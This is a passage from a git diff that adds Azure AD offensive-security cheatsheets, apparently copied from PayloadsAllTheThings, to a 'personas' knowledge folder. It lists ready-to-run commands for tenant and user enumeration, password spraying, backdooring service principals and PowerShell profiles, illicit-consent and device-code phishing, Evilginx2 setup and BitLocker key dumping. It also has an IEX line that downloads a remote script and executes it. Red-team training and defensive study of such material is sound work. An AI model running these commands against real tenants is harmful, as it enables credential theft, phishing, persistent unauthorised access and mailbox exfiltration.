testuser@*******.onmicrosoft.com -p *********** + python3 pytune.py check_compliant -o Windows -c Windows_pytune.pfx -u testuser@*******.onmicrosoft.com -p *********** + python3 pytune.py check_compliant -o Windows -c Windows_pytune.pfx -u testuser@*******.onmicrosoft.com -p *********** -H $HWHASH + ``` + +### Register Devices + +```ps1 +roadtx device -a register -n swkdeviceup +``` + +### Windows Hello for Business + +```ps1 +roadtx.exe prtenrich --ngcmfa-drs-auth +roadtx.exe winhello -k swkdevicebackdoor.key +roadtx.exe prt -hk swkdevicebackdoor.key -u -c swkdeviceup.pem -k swkdeviceup.key +roadtx browserprtauth --prt --prt-sessionkey --keep-open -url https://portal.azure.com +``` + +### Bitlocker Keys + +```ps1 +Install-Module Microsoft.Graph -Scope CurrentUser +Import-Module Microsoft.Graph.Identity.SignIns +Connect-MgGraph -Scopes BitLockerKey.Read.All +Get-MgInformationProtectionBitlockerRecoveryKey -All +Get-MgInformationProtectionBitlockerRecoveryKey -BitlockerRecoveryKeyId $bitlockerRecoveryKeyId +``` + +## Service Principals + +```ps1 +PS C:\> Get-AzureADServicePrincipal + +ObjectId AppId DisplayName +-------- ----- ----------- +00221b6f-4387-4f3f-aa85-34316ad7f956 e5e29b8a-85d9-41ea-b8d1-2162bd004528 Tenant Schema Extension App +012f6450-15be-4e45-b8b4-e630f0fb70fe 00000005-0000-0ff1-ce00-000000000000 Microsoft.YammerEnterprise +06ab01eb-3e77-4d14-ae31-322c7730a65b 09abbdfd-ed23-44ee-a2d9-a627aa1c90f3 ProjectWorkManagement +092aaf41-23e8-46eb-8c3d-fc0ee91cc62f 507bc9da-c4e2-40cb-96a7-ac90df92685c Office365Reports +0ac66e69-5502-4406-a294-6dedeadc8cab 2cf9eb86-36b5-49dc-86ae-9a63135dfa8c AzureTrafficManagerandDNS +0c0a6d9d-48c0-4aa7-b484-4e46f77d8ed9 0f698dd4-f011-4d23-a33e-b36416dcb1e6 Microsoft.OfficeClientService +0cbef08e-a4b5-4dd9-865e-8f521c1c5fb4 0469d4cd-df37-4d93-8a61-f8c75b809164 Microsoft Policy Administration Service +0ea80ff0-a9ea-43b6-b876-d5989efd8228 00000009-0000-0000-c000-000000000000 Microsoft Power BI Reporting and Analytics +``` + +## Other + +Lists all the client IDs you can use to get a token with the `mail.read` scope on the Microsoft Graph: + +```ps1 +roadtx getscope -s https://graph.microsoft.com/mail.read +roadtx findscope -s https://graph.microsoft.com/mail.read +``` + +## References + +* [Pentesting Azure Mindmap](https://github.com/synacktiv/Mindmaps) +* [AZURE AD cheatsheet - BlackWasp](https://hideandsec.sh/books/cheatsheets-82c/page/azure-ad) +* [Moving laterally between Azure AD joined machines - Tal Maor - Mar 17, 2020](https://medium.com/@talthemaor/moving-laterally-between-azure-ad-joined-machines-ed1f8871da56) +* [AZURE AD INTRODUCTION FOR RED TEAMERS - Aymeric Palhière (bak) - 2020-04-20](https://www.synacktiv.com/posts/pentest/azure-ad-introduction-for-red-teamers.html) +* [Training - Attacking and Defending Azure Lab - Altered Security](https://www.alteredsecurity.com/azureadlab) +* [Hidden in Plain Sight: Abusing Entra ID Administrative Units for Sticky Persistence - Katie Knowles - September 16, 2024](https://securitylabs.datadoghq.com/articles/abusing-entra-id-administrative-units/) +* [Create Sticky Backdoor User Through Restricted Management AU - Datadog, Inc](https://stratus-red-team.cloud/attack-techniques/entra-id/entra-id.persistence.restricted-au/) +* [Unveiling the Power of Intune: Leveraging Intune for Breaking Into Your Cloud and On-Premise - Yuya Chudo - December 11, 2024](https://i.blackhat.com/EU-24/Presentations/EU-24-Chudo-Unveiling-the-Power-of-Intune-Leveraging-Intune-for-Breaking-Into-Your-Cloud-and-On-Premise.pdf) diff --git a/personas/_shared/internal-allthethings/cloud/azure/azure-enumeration.md b/personas/_shared/internal-allthethings/cloud/azure/azure-enumeration.md new file mode 100644 index 0000000..ea4d851 --- /dev/null +++ b/personas/_shared/internal-allthethings/cloud/azure/azure-enumeration.md @@ -0,0 +1,257 @@ +# Azure AD - Enumerate + +## Azure AD - Collectors + +* [**Microsoft Portals**](https://msportals.io/) - Microsoft Administrator Sites +* [**dirkjanm/ROADTool**](https://github.com/dirkjanm/ROADtools) - A collection of Azure AD tools for offensive and defensive security purposes + + ```ps1 + roadrecon auth --access-token eyJ0eXA... + roadrecon auth --prt-cookie -r msgraph -c "1950a258-227b-4e31-a9cf-717495945fc2" + roadrecon gather + roadrecon gui + ``` + +* [**BloodHoundAD/AzureHound**](https://github.com/BloodHoundAD/AzureHound) - Azure Data Exporter for BloodHound + + ```ps1 + ./azurehound --refresh-token list --tenant "" -o output.json + ./azurehound -u "@contoso.onmicrosoft.com" -p "" list groups --tenant ".onmicrosoft.com" + ./azurehound -j "" list users --tenant ".onmicrosoft.com" + ``` + +* [**BloodHoundAD/BARK**](https://github.com/BloodHoundAD/BARK) - BloodHound Attack Research Kit + + ```ps1 + . .\BARK.ps1 + $MyRefreshTokenRequest = Get-AZRefreshTokenWithUsernamePassword -username "user@contoso.onmicrosoft.com" -password "MyVeryCoolPassword" -TenantID "contoso.onmicrosoft.com" + $MyMSGraphToken = Get-MSGraphTokenWithRefreshToken -RefreshToken $MyRefreshTokenRequest.refresh_token -TenantID "contoso.onmicrosoft.com" + $MyAADUsers = Get-AllAzureADUsers -Token $MyMSGraphToken.access_token -ShowProgress + ``` + +* [**dafthack/GraphRunner**](https://github.com/dafthack/GraphRunner) - A Post-exploitation Toolset for Interacting with the Microsoft Graph API + + ```ps1 + Invoke-GraphRecon -Tokens $tokens -PermissionEnum + Invoke-DumpCAPS -Tokens $tokens -ResolveGuids + Invoke-DumpApps -Tokens $tokens + Get-DynamicGroups -Tokens $tokens + ``` + +* [**NetSPI/MicroBurst**](https://github.com/NetSPI/MicroBurst) - MicroBurst includes functions and scripts that support Azure Services discovery, weak configuration auditing, and post exploitation actions such as credential dumping + + ```powershell + PS C:> Import-Module .\MicroBurst.psm1 + PS C:> Import-Module .\Get-AzureDomainInfo.ps1 + PS C:> Get-AzureDomainInfo -folder MicroBurst -Verbose + ``` + +* [**hausec/PowerZure**](https://github.com/hausec/PowerZure) - PowerShell framework to assess Azure security + + ```powershell + Import-Module .\Powerzure.psd1 + Set-Subscription -Id [idgoeshere] + Get-AzureTarget + Get-AzureInTuneScript + Show-AzureKeyVaultContent -All + ``` + +* [**silverhack/monkey365**](https://github.com/silverhack/monkey365) - Microsoft 365, Azure subscriptions and Microsoft Entra ID security configuration reviews. + + ```powershell + Get-ChildItem -Recurse c:\monkey365 | Unblock-File + Import-Module C:\temp\monkey365 + Get-Help Invoke-Monkey365 + Get-Help Invoke-Monkey365 -Examples + Get-Help Invoke-Monkey365 -Detailed + ``` + +* [**prowler-cloud/prowler**](https://github.com/prowler-cloud/prowler) - Prowler is an Open Source Security tool for AWS, Azure, GCP and Kubernetes to do security assessments, audits, incident response, compliance, continuous monitoring, hardening and forensics readiness. Includes CIS, NIST 800, NIST CSF, CISA, FedRAMP, PCI-DSS, GDPR, HIPAA, FFIEC, SOC2, GXP, Well-Architected Security, ENS and more +* [**projectdiscovery/nuclei-templates**](https://github.com/projectdiscovery/nuclei-templates/tree/main/cloud/azure) - Community curated list of templates for the nuclei engine to find security vulnerabilities. + + ```ps1 + nuclei -t ~/nuclei-templates/cloud/azure/ -code -v + ``` + +* [**nccgroup/ScoutSuite**](https://github.com/nccgroup/ScoutSuite) - Multi-Cloud Security Auditing Tool +* [**Flangvik/TeamFiltration**](https://github.com/Flangvik/TeamFiltration) - TeamFiltration is a cross-platform framework for enumerating, spraying, exfiltrating, and backdooring O365 AAD accounts + + ```ps1 + TeamFiltration.exe --outpath C:\Clients\2023\FooBar\TFOutput --config myCustomConfig.json --exfil --cookie-dump C:\\CookieData.txt --all + TeamFiltration.exe --outpath C:\Clients\2023\FooBar\TFOutput --config myCustomConfig.json --exfil --aad + TeamFiltration.exe --outpath C:\Clients\2023\FooBar\TFOutput --config myCustomConfig.json --exfil --tokens C:\\OutputTokens.txt --onedrive --owa + TeamFiltration.exe --outpath C:\Clients\2023\FooBar\TFOutput --config myCustomConfig.json --exfil --teams --owa --owa-limit 5000 + TeamFiltration.exe --outpath C:\Clients\2023\FooBar\TFOutput --config myCustomConfig.json --debug --exfil --onedrive + TeamFiltration.exe --outpath C:\Clients\2023\FooBar\TFOutput --config myCustomConfig.json --enum --validate-teams + TeamFiltration.exe --outpath C:\Clients\2023\FooBar\TFOutput --config myCustomConfig.json --enum --validate-msol --usernames C:\Clients\2021\FooBar\OSINT\Usernames.txt + TeamFiltration.exe --outpath C:\Clients\2023\FooBar\TFOutput --config myCustomConfig.json --backdoor + TeamFiltration.exe --outpath C:\Clients\2023\FooBar\TFOutput --config myCustomConfig.json --database + ``` + +* [**Azure/StormSpotter**](https://github.com/Azure/Stormspotter) - :warning: This repository has not been updated recently - Azure Red Team tool for graphing Azure and Azure Active Directory objects +* [**nccgroup/Azucar**](https://github.com/nccgroup/azucar.git) - :warning: This repository has been archived - Azucar automatically gathers a variety of configuration data and analyses all data relating to a particular subscription in order to determine security risks. +* [**FSecureLABS/Azurite**](https://github.com/FSecureLABS/Azurite) - :warning: This repository has not been updated recently - Enumeration and reconnaissance activities in the Microsoft Azure Cloud. +* [**cyberark/SkyArk**](https://github.com/cyberark/SkyArk) - :warning: This repository has not been updated recently - Discover the most privileged users in the scanned Azure environment - including the Azure Shadow Admins. + +## Azure AD - User Enumeration + +### Enumerate Tenant Informations + +* Federation with Azure AD or O365 + + ```powershell + Get-AADIntLoginInformation -UserName @.onmicrosoft.com + https://login.microsoftonline.com/getuserrealm.srf?login=@&xml=1 + https://login.microsoftonline.com/getuserrealm.srf?login=root@.onmicrosoft.com&xml=1 + ``` + +* Get the Tenant ID + + ```powershell + Get-AADIntTenantID -Domain .onmicrosoft.com + https://login.microsoftonline.com//.well-known/openid-configuration + https://login.microsoftonline.com/.onmicrosoft.com/.well-known/openid-configuration + ``` + +### Enumerate from a Guest Account + +```ps1 +powerpwn recon --tenant {tenantId} --cache-path {path} +powerpwn dump -tenant {tenantId} --cache-path {path} +powerpwn gui --cache-path {path} +``` + +### Enumerate Emails + +> By default, O365 has a lockout policy of 10 tries, and it will lock out an account for one (1) minute. + +* Validate email + + ```powershell + PS> C:\Python27\python.exe C:\Tools\o365creeper\o365creeper.py -f C:\Tools\emails.txt -o C:\Tools\validemails.txt + admin@.onmicrosoft.com - VALID + root@.onmicrosoft.com - INVALID + test@.onmicrosoft.com - VALID + contact@.onmicrosoft.com - INVALID + ``` + +* Extract email lists with a valid credentials : [nyxgeek/o365recon](https://github.com/nyxgeek/o365recon) + + ```powershell + Install-Module MSOnline + Install-Module AzureAD + .\o365recon.ps1 -azure + ``` + +### Password Spraying + +The default lockout policy tolerates 10 failed attempts, then lock out an account for 60 seconds. + +* [dafthack/MSOLSpray](https://github.com/dafthack/MSOLSpray) + + ```powershell + PS> . C:\Tools\MSOLSpray\MSOLSpray.ps1 + PS> Invoke-MSOLSpray -UserList C:\Tools\validemails.txt -Password -Verbose + PS> Invoke-MSOLSpray -UserList .\userlist.txt -Password Winter2020 + PS> Invoke-MSOLSpray -UserList .\users.txt -Password d0ntSprayme! + ``` + +* [0xZDH/o365spray](https://github.com/0xZDH/o365spray) + + ```powershell + o365spray --spray -U usernames.txt -P passwords.txt --count 2 --lockout 5 --domain test.com + ``` + +* [Flangvik/TeamFiltration](https://github.com/Flangvik/TeamFiltration) + + ```powershell + TeamFiltration.exe --outpath C:\Clients\2023\FooBar\TFOutput --config myCustomConfig.json --spray --sleep-min 120 --sleep-max 200 --push --shuffle-users --shuffle-regions + TeamFiltration.exe --outpath C:\Clients\2023\FooBar\TFOutput --config myCustomConfig.json --spray --push-locked --months-only --exclude C:\Clients\2021\FooBar\Exclude_Emails.txt + TeamFiltration.exe --outpath C:\Clients\2023\FooBar\TFOutput --config myCustomConfig.json --spray --passwords C:\Clients\2021\FooBar\Generic\Passwords.txt --time-window 13:00-22:00 + ``` + +## Azure Services Enumeration + +### Enumerate Tenant Domains + +Extract openly available information for the given tenant: [aadinternals.com/osint](https://aadinternals.com/osint/) + +```ps1 +Invoke-AADIntReconAsOutsider -DomainName +Invoke-AADIntReconAsOutsider -Domain "company.com" | Format-Table +Invoke-AADIntReconAsOutsider -UserName "user@company.com" | Format-Table +``` + +### Enumerate Azure Subdomains + +```powershell +PS> . C:\Tools\MicroBurst\Misc\InvokeEnumerateAzureSubDomains.ps1 +PS> Invoke-EnumerateAzureSubDomains -Base -Verbose +Subdomain Service +--------- ------- +.mail.protection.outlook.com Email +.onmicrosoft.com Microsoft Hosted Domain +``` + +### Enumerate Services + +* Using Az Powershell module + + ```powershell + # Enumerate resources + PS Az> Get-AzResource + + # List all VM's the user has access to + PS Az> Get-AzVM + + # Get all webapps + PS Az> Get-AzWebApp | ?{$_.Kind -notmatch "functionapp"} + + # Get all function apps + PS Az> Get-AzFunctionApp + + # List all storage accounts + PS Az> Get-AzStorageAccount + + # List all keyvaults + PS Az> Get-AzKeyVault + + # Get all application objects registered using the current tenant + PS AzureAD> Get-AzureADApplication -All $true + + # Enumerate role assignments + PS Az> Get-AzRoleAssignment -Scope /subscriptions//resourceGroups/RESEARCH/providers/Microsoft.Compute/virtualMachines/ + PS Az> Get-AzRoleAssignment -SignInName test@.onmicrosoft.com + + # Check AppID Alternative Names/Display Name + PS AzureAD> Get-AzureADServicePrincipal -All $True | ?{$_.AppId -eq ""} | fl + ``` + +* Using az cli + + ```powershell + PS> az vm list + PS> az vm list --query "[].[name]" -o table + PS> az webapp list + PS> az functionapp list --query "[].[name]" -o table + PS> az storage account list + PS> az keyvault list + ``` + +## Multi Factor Authentication + +* [dafthack/MFASweep](https://github.com/dafthack/MFASweep) - A tool for checking if MFA is enabled on multiple Microsoft Services + +```ps1 +Import-Module .\MFASweep.ps1 +Invoke-MFASweep -Username targetuser@targetdomain.com -Password Winter2020 +Invoke-MFASweep -Username targetuser@targetdomain.com -Password Winter2020 -Recon -IncludeADFS +``` + +## References + +* [Bypassing conditional access by faking device compliance - @DrAzureAD - September 06, 2020](https://o365blog.com/post/mdm/) +* [CARTP-cheatsheet - Azure AD cheatsheet for the CARTP course](https://github.com/0xJs/CARTP-cheatsheet/blob/main/Authenticated-enumeration.md) +* [Attacking Azure/Azure AD and introducing Powerzure - SpecterOps - Ryan Hausknecht - Jan 28, 2020](https://posts.specterops.io/attacking-azure-azure-ad-and-introducing-powerzure-ca70b330511a) +* [Training - Attacking and Defending Azure Lab - Altered Security](https://www.alteredsecurity.com/azureadlab) +* [Azure Config Review - Nuclei Templates v10.0.0 - Prince Chaddha - Sep 12, 2024](https://blog.projectdiscovery.io/azure-config-review-with-nuclei/) diff --git a/personas/_shared/internal-allthethings/cloud/azure/azure-persistence.md b/personas/_shared/internal-allthethings/cloud/azure/azure-persistence.md new file mode 100644 index 0000000..7204740 --- /dev/null +++ b/personas/_shared/internal-allthethings/cloud/azure/azure-persistence.md @@ -0,0 +1,70 @@ +# Azure AD - Persistence + +## Add Secrets to Application + +* Add secrets with [lutzenfried/OffensiveCloud/Add-AzADAppSecret.ps1](https://github.com/lutzenfried/OffensiveCloud/blob/main/Azure/Tools/Add-AzADAppSecret.ps1) + + ```powershell + PS > . C:\Tools\Add-AzADAppSecret.ps1 + PS > Add-AzADAppSecret -GraphToken $graphtoken -Verbose + ``` + +* Use secrets to authenticate as Service Principal + + ```ps1 + PS > $password = ConvertTo-SecureString '' -AsPlainText -Force + PS > $creds = New-Object System.Management.Automation.PSCredential('', $password) + PS > Connect-AzAccount -ServicePrincipal -Credential $creds -Tenant '' + ``` + +## Add Service Principal + +* Generate a new service principal password/secret + + ```ps1 + Import-Module Microsoft.Graph.Applications + Connect-MgGraph + $servicePrincipalId = "" + + $params = @{ + passwordCredential = @{ + displayName = "NewCreds" + } + } + Add-MgServicePrincipalPassword -ServicePrincipalId $servicePrincipalId -BodyParameter $params + ``` + +## Add User to Group + +```ps1 +Add-AzureADGroupMember -ObjectId -RefObjectId -Verbose +``` + +## PowerShell Profile Backdoor Using KFM + +OneDrive for Business Known Folder Move (KFM) is a feature in Microsoft OneDrive for Business that enables users and organizations to automatically redirect the contents of key Windows user folders; Desktop, Documents, and Pictures from their local PC to OneDrive. + +A PowerShell profile is a script file that loads whenever you start a new PowerShell session (such as opening PowerShell or Windows Terminal). Users and administrators often customize their profiles to set aliases, environment variables, functions, or pre-load modules. + +**Requirements**: + +* `Files.ReadWrite.All` privilege + +**Methodology**: + +Known Folder Move moves the user's Documents (and/or Desktop, Pictures) folder to OneDrive for Business, typically syncing: + +```ps1 +C:\Users\\Documents → C:\Users\\OneDrive - \Documents +``` + +This means the PowerShell profile file (`Documents\PowerShell\Microsoft.PowerShell_profile.ps1`) will now be synced to OneDrive. + +Push a malicious PowerShell profile at `$HOME\Documents\PowerShell\Microsoft.PowerShell_profile.ps1`. + +## References + +* [High-Profile Cloud Privesc - Leonidas Tsaousis - July 15, 2025](https://labs.reversec.com/posts/2025/07/high-profile-cloud-privesc) +* [Maintaining Azure Persistence via automation accounts - Karl Fosaaen - September 12, 2019](https://blog.netspi.com/maintaining-azure-persistence-via-automation-accounts/) +* [Microsoft Graph - servicePrincipal: addPassword](https://learn.microsoft.com/en-us/graph/api/serviceprincipal-addpassword?view=graph-rest-1.0&tabs=powershell) +* [Training - Attacking and Defending Azure Lab - Altered Security](https://www.alteredsecurity.com/azureadlab) diff --git a/personas/_shared/internal-allthethings/cloud/azure/azure-phishing.md b/personas/_shared/internal-allthethings/cloud/azure/azure-phishing.md new file mode 100644 index 0000000..56eca3d --- /dev/null +++ b/personas/_shared/internal-allthethings/cloud/azure/azure-phishing.md @@ -0,0 +1,153 @@ +# Azure AD - Phishing + +## Illicit Consent Grant + +> The attacker creates an Azure-registered application that requests access to data such as contact information, email, or documents. The attacker then tricks an end user into granting consent to the application so that the attacker can gain access to the data that the target user has access to. + +:warning: All Office 365 users will be protected from app-based attacks now that publisher verification is generally available as they "will no longer be able to consent to new multi-tenant apps registered after November 8th, 2020 coming from unverified publishers". + +Check if users are allowed to consent to apps: `PS AzureADPreview> (GetAzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole` + +* **Disable user consent** : Users cannot grant permissions to applications. +* **Users can consent to apps from verified publishers or your organization, but only for permissions you select** : All users can only consent to apps that were published by a verified publisher and apps that are registered in your tenant +* **Users can consent to all apps** : allows all users to consent to any permission which doesn't require admin consent. +* **Custom app consent policy** + +### Register Application + +1. Login to [https://portal.azure.com](https://portal.azure.com) > Azure Active Directory +2. Click on **App registrations** > **New registration** +3. Enter the Name for our application +4. Under support account types select **"Accounts in any organizational directory (Any Azure AD directory - Multitenant)"** +5. Enter the Redirect URL. This URL should be pointed towards our 365-Stealer application that we will host for hosting our phishing page. Make sure the endpoint is `https://:/login/authorized`. +6. Click **Register** and save the **Application ID** + +### Configure Application + +1. Click on `Certificates & secrets` +2. Click on `New client secret` then enter the **Description** and click on **Add**. +3. Save the **secret**'s value. +4. Click on API permissions > Add a permission +5. Click on Microsoft Graph > **Delegated permissions** +6. Search and select the below mentioned permissions and click on Add permission + * Contacts.Read + * Mail.Read / Mail.ReadWrite + * Mail.ReadBasic + * Mail.Send + * Notes.Read.All + * Mailboxsettings.ReadWrite + * Files.ReadWrite.All + * User.ReadBasic.All + * User.Read + +### Setup 365-Stealer (Deprecated) + +:warning: Default port for 365-Stealer phishing is 443 + +* Run XAMPP and start Apache +* Clone 365-Stealer into `C:\xampp\htdocs\` + * `git clone https://github.com/AlteredSecurity/365-Stealer.git` +* Install the requirements + * Python3 + * PHP CLI or Xampp server + * `pip install -r requirements.txt` +* Enable sqlite3 (Xampp > Apache config > php.ini) and restart Apache +* Edit `C:/xampp/htdocs/yourvictims/index.php` if needed + * Disable IP whitelisting `$enableIpWhiteList = false;` +* Go to 365-Stealer Management portal > Configuration (`http://localhost:82/365-stealer/yourVictims`) + * **Client Id** (Mandatory): This will be the Application(Client) Id of the application that we registered. + * **Client Secret** (Mandatory): Secret value from the Certificates & secrets tab that we created. + * **Redirect URL** (Mandatory): Specify the redirect URL that we entered during registering the App like `https:///login/authorized` + * **Macros Location**: Path of macro file that we want to inject. + * **Extension in OneDrive**: We can provide file extensions that we want to download from the victims account or provide `*` to download all the files present in the victims OneDrive. The file extensions should be comma separated like txt, pdf, docx etc. + * **Delay**: Delay the request by specifying time in seconds while stealing +* Create a Self Signed Certificate to use HTTPS +* Run the application either click on the button or run this command : `python 365-Stealer.py --run-app` + * `--no-ssl`: disable HTTPS + * `--port`: change the default listening port + * `--token`: provide a specific token + * `--refresh-token XXX --client-id YYY --client-secret ZZZ`: use a refresh token +* Find the Phishing URL: go to `https://:` and click on **Read More** button or in the console. + +### Vajra + +> Vajra is a UI-based tool with multiple techniques for attacking and enumerating in the target's Azure environment. It features an intuitive web-based user interface built with the Python Flask module for a better user experience. The primary focus of this tool is to have different attacking techniques all at one place with web UI interfaces. - [TROUBLE-1/Vajra](https://github.com/TROUBLE-1/Vajra) + +**Mitigation**: Enable `Do not allow user consent` for applications in the "Consent and permissions menu". + +### Roadtx + +* Use the authorization code flow in `roadtx` to get token + +```ps1 +roadtx codeauth -c -r msgraph -t <0.A....> -ru 'https:///redir' -p +``` + +## Device Code Phishing + +* Using roadtool: `roadtx gettokens -u user@domain.lab --device-code` + + ```ps1 + roadtx.exe auth --device-code -c 29d9ed98-a469-4536-ade2-f981bc1d605e + Requesting token for resource https://graph.windows.net + To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code XXXXXXXXX to authenticate. + ``` + +* Using TokenTactics to request a token for Azure Graph API using a device code + + ```ps1 + Import-Module .\TokenTactics.psd1 + Get-AzureToken -Client Graph + ``` + +* Replace `` in the [phishing email](https://github.com/rvrsh3ll/TokenTactics/blob/main/resources/DeviceCodePhishingEmailTemplate.oft) +* Leave TokenTactics running in the PowerShell window and send the phishing email +* Targeted user will follow the link to [https://microsoft.com/devicelogin](https://microsoft.com/devicelogin) and complete the Device Code form +* Enjoy your **access token** and **refresh token** + +## Phishing with Evilginx2 + +* Run [kgretzky/evilginx2](https://github.com/kgretzky/evilginx2) with o365 phishlet + + ```powershell + PS C:\Tools> evilginx2 -p C:\Tools\evilginx2\phishlets + : config domain username.corp + : config ip 10.10.10.10 + : phishlets hostname o365 login.username.corp + : phishlets get-hosts o365 + ``` + +* Create a DNS entry type A for `login.login.username.corp` and `www.login.username.corp`, pointing to your machine +* Copy certificate and enable the phishing + + ```ps1 + PS C:\Tools> Copy-Item C:\Users\Username\.evilginx\crt\ca.crt C:\Users\Username\.evilginx\crt\login.username.corp\o365.crt + PS C:\Tools> Copy-Item C:\Users\Username\.evilginx\crt\private.key C:\Users\Username\.evilginx\crt\login.username.corp\o365.key + : phishlets enable o365 + + # get the phishing URL + : lures create o365 + : lures get-url 0 + ``` + +### Internal Phishing - Power Platform + +> Set up an internal phishing application on a Microsoft-owned domains which will automatically authenticate as users browse to your link. + +* Install [mbrg/power-pwn](https://github.com/mbrg/power-pwn) - An offensive and defensive security toolset for Microsoft 365 Power Platform + + ```ps1 + pip install powerpwn + ``` + +* Install the application: `powerpwn phishing install-app -t {tenant-id} -e {environment-id} --input {path to application package zip} -n {application name}` +* Share application with org: `powerpwn phishing share-app -t {tenant-id} -e {environment-id} -a {app id}` + +## References + +* [Introduction To 365-Stealer - Understanding and Executing the Illicit Consent Grant Attack](https://www.alteredsecurity.com/post/introduction-to-365-stealer) +* [Learn with @trouble1_raunak: Cloud Pentesting - Azure (Illicit Consent Grant Attack) - trouble1_raunak - Jun 6, 2021](https://www.youtube.com/watch?v=51FSvndgddk&list=WL) +* [The Art of the Device Code Phish - Bobby Cooke - July 12, 2021](https://0xboku.com/2021/07/12/ArtOfDeviceCodePhish.html) +* [Power Pwn - Black Hat Arsenal 2023 - Aug 24, 2023](https://www.youtube.com/watch?v=LpdckZyBwvs) +* [Low Code High Risk - Enterprise Domination via Low Code Abuse - Defcon 30 - Oct 20, 2022](https://www.youtube.com/watch?v=D3A62Rzozq4) +* [Training - Attacking and Defending Azure Lab - Altered Security](https://www.alteredsecurity.com/azureadlab) diff --git a/personas/_shared/internal-allthethings/cloud/azure/azure-requirements.md b/personas/_shared/internal-allthethings/cloud/azure/azure-requirements.md new file mode 100644 index 0000000..2e57f56 --- /dev/null +++ b/personas/_shared/internal-allthethings/cloud/azure/azure-requirements.md @@ -0,0 +1,37 @@ +# Azure - Requirements + +## Pentest Requirements + +Users and roles: + +* **Global Reader** and **Security Reader** roles in Azure AD +* **Reader** permission over the subscription + +Subscriptions: + +* [Azure Dev/Test](https://azure.microsoft.com/en-us/pricing/offers/dev-test) subscription. +* Visual Studio subscription determines the monthly Azure credits you receive + * Visual Studio Enterprise: $150/month + * MSDN Platforms: $100 + * Visual Studio Professional: $50 + * Visual Studio Test Professional: $50 + +## Powershell and Native Modules + +* [Microsoft Graph](https://learn.microsoft.com/en-us/powershell/microsoftgraph/installation?view=graph-powershell-1.0): `Install-Module Microsoft.Graph -Scope CurrentUser` +* [Azure AD](https://learn.microsoft.com/fr-fr/powershell/azure/active-directory/install-adv2?view=azureadps-2.0): `Install-Module AzureAD` +* [Azure AD Preview](https://learn.microsoft.com/fr-fr/powershell/azure/active-directory/install-adv2?view=azureadps-2.0): `Install-Module AzureADPreview` +* [Azure CLI](https://learn.microsoft.com/fr-fr/cli/azure/install-azure-cli-windows?tabs=winget): `winget install -e --id Microsoft.AzureCLI` + +## Terminology + +* **Tenant**: An instance of Azure AD and represents a single organization. +* **Azure AD Directory**: Each tenant has a dedicated Directory. This is used to perform identity and access management functions for resources. +* **Subscriptions**: It is used to pay for services. There can be multiple subscriptions in a Directory. +* **Core Domain**: The initial domain name `.onmicrosoft.com` is the core domain. It is possible to define custom domain names too. + +## References + +* [Az - Permissions for a Pentest - HackTricks](https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-permissions-for-a-pentest) +* [An introduction to penetration testing Azure - HollyGraceful - 06 August 2021](https://akimbocore.com/article/introduction-to-pentesting-azure/) +* [Training - Attacking and Defending Azure Lab - Altered Security](https://www.alteredsecurity.com/azureadlab) diff --git a/personas/_shared/internal-allthethings/cloud/azure/azure-services-application-endpoint.md b/personas/_shared/internal-allthethings/cloud/azure/azure-services-application-endpoint.md new file mode 100644 index 0000000..25d1222 --- /dev/null +++ b/personas/_shared/internal-allthethings/cloud/azure/azure-services-application-endpoint.md @@ -0,0 +1,20 @@ +# Azure Services - Application Endpoint + +## Enumerate + +* Enumerate possible endpoints for applications starting/ending with PREFIX + + ```powershell + PS C:\Tools> Get-AzureADServicePrincipal -All $true -Filter "startswith(displayName,'PREFIX')" | % {$_.ReplyUrls} + PS C:\Tools> Get-AzureADApplication -All $true -Filter "endswith(displayName,'PREFIX')" | Select-Object ReplyUrls,WwwHomePage,HomePage + ``` + +## Access + +```ps1 +https://myapps.microsoft.com/signin/?tenantId= +``` + +## References + +* [Training - Attacking and Defending Azure Lab - Altered Security](https://www.alteredsecurity.com/azureadlab) diff --git a/personas/_shared/internal-allthethings/cloud/azure/azure-services-application-proxy.md b/personas/_shared/internal-allthethings/cloud/azure/azure-services-application-proxy.md new file mode 100644 index 0000000..44e1f2c --- /dev/null +++ b/personas/_shared/internal-allthethings/cloud/azure/azure-services-application-proxy.md @@ -0,0 +1,17 @@ +# Azure Services - Application Proxy + +## Enumerate + +* Enumerate applications that have Proxy + + ```powershell + PS C:\Tools> Get-AzureADApplication -All $true | %{try{GetAzureADApplicationProxyApplication -ObjectId $_.ObjectID;$_.DisplayName;$_.ObjectID}catch{}} + PS C:\Tools> Get-AzureADServicePrincipal -All $true | ?{$_.DisplayName -eq "Finance Management System"} + + PS C:\Tools> . C:\Tools\GetApplicationProxyAssignedUsersAndGroups.ps1 + PS C:\Tools> Get-ApplicationProxyAssignedUsersAndGroups -ObjectId + ``` + +## References + +* [Training - Attacking and Defending Azure Lab - Altered Security](https://www.alteredsecurity.com/azureadlab) diff --git a/personas/_shared/internal-allthethings/cloud/azure/azure-services-container-registry.md b/personas/_shared/internal-allthethings/cloud/azure/azure-services-container-registry.md new file mode 100644 index 0000000..79d50b6 --- /dev/null +++ b/personas/_shared/internal-allthethings/cloud/azure/azure-services-container-registry.md @@ -0,0 +1,54 @@ +# Azure Services - Container Registry + +## Enumerate + +List container registries in the subscription using Azure CLI + +```ps1 +az login -u user@domain.onmicrosoft.com -p pass +az acr list -o table +``` + +Login to the Registry + +```ps1 +acr= # from the previous command +server=$(az acr login -n $acr --expose-token --query loginServer -o tsv) +token=$(az acr login -n $acr --expose-token --query accessToken -o tsv) +docker login $server -u 00000000-0000-0000-0000-000000000000 -p $token +``` + +List the images in the ACR + +```ps1 +az acr repository list -n $acr +``` + +List version tags for an image + +```ps1 +az acr repository show-tags -n $acr --repository mywebapp +``` + +Connect to the container registry from a PowerShell console, set the $server and $token variables, and pull the image from the registry + +```ps1 +# docker login ${registryURI} --username ${username} --password ${password} +$token="" +$server="" +docker login $server -u 00000000-0000-0000-0000-000000000000 -p $token +docker pull $server/mywebapp:v1 +``` + +List docker containers inside a registry + +```ps1 +IEX (New-Object Net.WebClient).downloadstring("https://raw.githubusercontent.com/NetSPI/MicroBurst/master/Misc/Get-AzACR.ps1") +Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Internet Explorer\Main" -Name "DisableFirstRunCustomize" -Value 2 +Get-AzACR -username ${username} -password ${password} -registry ${registryURI} +``` + +## References + +* [PENTESTING AZURE: RECON TECHNIQUES - April 29, 2022 Stefan Tita](https://securitycafe.ro/2022/04/29/pentesting-azure-recon-techniques/) +* [Training - Attacking and Defending Azure Lab - Altered 